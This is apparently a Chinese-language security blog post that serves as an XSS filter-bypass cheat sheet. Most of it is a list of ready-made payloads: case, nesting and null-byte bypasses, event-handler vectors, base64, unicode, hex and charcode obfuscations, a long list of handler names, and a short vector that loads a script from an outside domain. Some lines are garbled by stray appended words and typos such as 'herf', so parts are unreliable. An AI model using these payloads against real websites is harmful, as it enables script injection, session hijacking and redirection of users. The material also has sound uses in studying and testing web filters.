xss產生的緣由是將惡意的html腳本代碼插入web頁面,底層原理和sql注入同樣,都是由於js和php等都是解釋性語言,會將輸入的當作命令執行,因此能夠注入惡意代碼執行咱們想要的內容javascript
<script>alert('xss')</script> //沒有過濾 <Script>alert('xss')</Script> //大小寫繞過 <scscriptript>alert('xss')</scscriptript> //嵌套繞過 <sc\x00ript>alert('xss')</sc\x00ript> //空字節繞過 " oonnclick=alert('XSS') // //閉合單雙引號繞過(對於html實體輸入的和過濾< >)
<a herf="javascript:alert(1)">show</a> <body onload=alert(1)> <input type=image src=x:x onerror=alert(1)> <isindex onmouseover="alert(1)" > <form oninput=alert(1)><input></form> <textarea autofocus onfocus=alert(1)> <input oncut=alert(1)> <svg onload=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="alert(1)"> <marquee onstart=alert(1)>
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
在線編碼地址:http://tool.chinaz.com/tools/unicode.aspxphp
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <script>\u0061lert(1)</script> <img src="x" onerror="alert("xss");">
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可以使用瀏覽器插件快速編碼
html
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
<img src=x onerror="\u0061lert(1)"/> <img src=x onerror="eval('\141lert(1)')"/> <img src=x onerror="eval('\x61lert(1)')"/> <img src=x onerror=」alert(1)」/> <img src=x onerror=」alert(1)」/> <img src=x onerror=」eval(‘\a\l\ert(1)‘)」/>
onsearch onwebkitanimationend onwebkitanimationiteration onwebkitanimationstart onwebkittransitionend onabort onblur oncancel oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncuechange ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended onerror onfocus onformdata oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onpause onplay onplaying onprogress onratechange onreset onresize onscroll onseeked onseeking onselect onstalled onsubmit onsuspend ontimeupdate ontoggle onvolumechange onwaiting onwheel onauxclick ongotpointercapture onlostpointercapture onpointerdown onpointermove onpointerup onpointercancel onpointerover onpointerout onpointerenter onpointerleave onselectstart onselectionchange onanimationend onanimationiteration onanimationstart ontransitionend onafterprint onbeforeprint onbeforeunload onhashchange onlanguagechange onmessage onmessageerror onoffline ononline onpagehide onpageshow onpopstate onrejectionhandled onstorage onunhandledrejection onunload
"onclick=alert(1)// 來減小字數
"onclick="eval(location.hash.sustr(1))
<svg/onload=alert()> <script/src=//⑭.₨>
參考文章:https://nosec.org/home/detail/3206.htmljava
深刻理解瀏覽器解析機制和XSS向量編碼:http://bobao.360.cn/learning/detail/292.html
XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
《白帽子講web安全》
歡迎訪問個人我的博客:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,不然產生的一切後果自行承擔git